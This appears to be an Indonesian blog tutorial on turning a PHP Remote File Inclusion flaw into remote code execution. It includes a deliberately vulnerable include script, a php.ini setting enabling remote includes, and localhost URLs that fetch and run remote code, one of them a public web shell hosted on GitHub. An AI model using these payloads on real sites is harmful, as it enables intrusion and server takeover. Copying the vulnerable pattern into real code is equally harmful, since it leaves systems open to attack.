Exploitation RFI (Remote File Inclusion) To RCE - File Inclusion Going To Shell

 

-

Hai Sobat

Saya ikal,

Disini saya akan sharing sesuatu nih.

-


Kali ini kita akan membahas mengenai Vulnerability yang bernama RFI (Remote File Inclusion) Kerabat dekat LFI (Local File Inclusion) :D. Berbeda dengan LFI yang hanya menginclude file dari dalam server, RFI ini berkelebihan untuk menginclude file dari luar server. RFI sendiri terjadi saat function include tidak terfilter dengan baik.


 Seperti namanya yang ada remote - remotean, kita bisa mengeksekusi Code PHP atau sejenisnya yang berada dari luar server. Namun untuk melakukan RFI ini server harus mengenable function allow_url_include(), setting enable disable nya di file php.ini. 


Contoh script php yang memiliki kerentanan RFI : 


<?php 
    if (isset  ($_GET['page'])) 
    {   
        include $_GET['page'];
    } 
    else 
    {
        echo "<p>Hello World!</p>";
    }
    ?>

 

Dan jika kalian ingin mempraktekannya diserver kalian masing - masing. kalian bisa create file dengan nama php.ini, dan pastekan script berikut :


allow_url_include=On

 

Tampilan awal

Basic RFI Exploitation : 

https://localhost/vuln.php?page=google.com


Disini server kita akan membaca code dari index website google.com. Nah  kita bisa memanfaatkan server pastebin untuk host yang akan kita include yah. Disini saya coba asumsikan untuk menginclude text biasa dari https://pastebin.com/raw/JUfpvPwZ untuk include pada server yang vuln RFI tadi.


Letakan url pastebin dibelakang parameter, Contoh :

https://localhost/vuln.php?page=https://pastebin.com/raw/JUfpvPwZ

atau seperti ini

https://localhost/vuln.php?page=pastebin.com/raw/JUfpvPwZ


Hasil

Outputnya sesuai dengan yang ada di https://pastebin.com/raw/JUfpvPwZ 



Now, How get RCE from Remote File Inclusion? So Simple dude :D. Pertama kalian buat lagi repository pastebinnya, namun kali ini kita isi dengan Code PHP, Contoh disini kita akan memunculkan phpinfo, dan ini repository yang akan kita include ke server target https://pastebin.com/raw/xTahsBha.


Pastekan url pastebin tersebut di parameter tadi.

https://localhost/vuln.php?page=https://pastebin.com/raw/xTahsBha

atau

https://localhost/vuln.php?page=pastebin.com/raw/xTahsBha


Hasil

Kita berhasil melakukan Code Execution :D. Kita juga bisa langsung mendapatkan shell, sama seperti tadi kita hanya perlu mempastekan url shellnya di parameter yang memiliki vulnerable RFI tersebut. Contoh kita akan memakai MARIJUANA shell. url shell : 

https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php


https://localhost/vuln.php?page=https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php

atau

https://localhost/vuln.php?page=raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php


Dan saat kita enter. Ini hasilnya.


Hasil

Gotcha :D. U got the shell. Namun walau Vulnerability Rfi ini cukup umum, Tapi jarang sekali saya menemukan website yang memiliki Vulnerability ini. Yah gitulah :D.


Untuk artikel mengenai Exploitasi RFI ini segini saja. Jika ada salah penulisan biarkan saja.

Reference : 

https://en.wikipedia.org/wiki/File_inclusion_vulnerability

https://www.youtube.com/watch?v=Z0zhFvdvF6o


Thanks

See U